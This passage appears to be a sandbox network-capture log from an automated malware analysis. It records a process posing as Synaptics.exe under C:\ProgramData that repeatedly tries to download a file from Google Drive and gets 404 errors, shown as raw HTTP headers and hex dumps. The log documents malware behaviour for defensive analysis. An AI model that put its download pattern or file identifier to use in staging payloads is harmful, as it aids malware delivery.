/_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.8	49836	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:38 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:38 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:38 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-7yaJTIdoXyAF5vBZ6dT_qQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.8	49835	142.250.186.33	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:38 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:38 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7EaRT204HJ05BphGdNU5qEImO3w-D9msurg79pme6ls1Fe9ncNj9LyGXzuAw1cDYwL Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:38 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-UsSxm5_FU0y6g_GVfy2B0g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:20:38 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:20:38 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 35 33 79 6c 5a 35 46 44 66 64 48 45 58 54 48 34 4a 57 52 51 65 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="53ylZ5FDfdHEXTH4JWRQeg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:20:38 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.8	49839	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:38 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:39 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:38 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-0YiYZo-dEvBjNyJfK8SCBw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.8	49840	142.250.186.33	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:38 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:39 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6xrbZX3njmiqe-oW_1-0PUjQNjrGh6mReeLjm4cMxqCRz7nd506_lb_cz-pbtXXTNj Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:39 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-VthMHR-KTZ_FDh9rPt0pRw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:20:39 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:20:39 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 33 71 64 6d 58 63 49 58 4e 75 73 5f 78 52 41 44 67 36 5a 4c 42 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="3qdmXcIXNus_xRADg6ZLBA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:20:39 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.8	49841	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:39 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:39 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:39 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-xIUg8gi1pdKdLxDBvtlckA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.8	49842	142.250.186.33	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:39 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:39 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4XTton58VmkmAdfp6MqBmf6UYwPENCL6fTrAq-2l1d12LkJBwPc3eeTbm3aFLugQvj5yXAGWs Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:39 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-JzWfl7rv2hP5hnJIC3aFgA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:20:39 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:20:39 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 33 64 73 71 57 59 32 78 69 52 6d 76 30 64 6b 61 4b 57 57 6f 4c 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="3dsqWY2xiRmv0dkaKWWoLQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:20:39 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.8	49843	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:39 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:40 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:39 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-M02zmXDZ_hWUBlK0aNSjRw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.8	49844	142.250.186.33	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:39 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:40 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4vZ4ZAvD8WDOZJG3GDUrHfU51PPFapTJyK6tKGRaE5NkWws_M3TiFu6bnBzQky5ZQDLL48grQ Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:40 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce--n2OGSrYdZ_vRuALiVptGg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:20:40 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
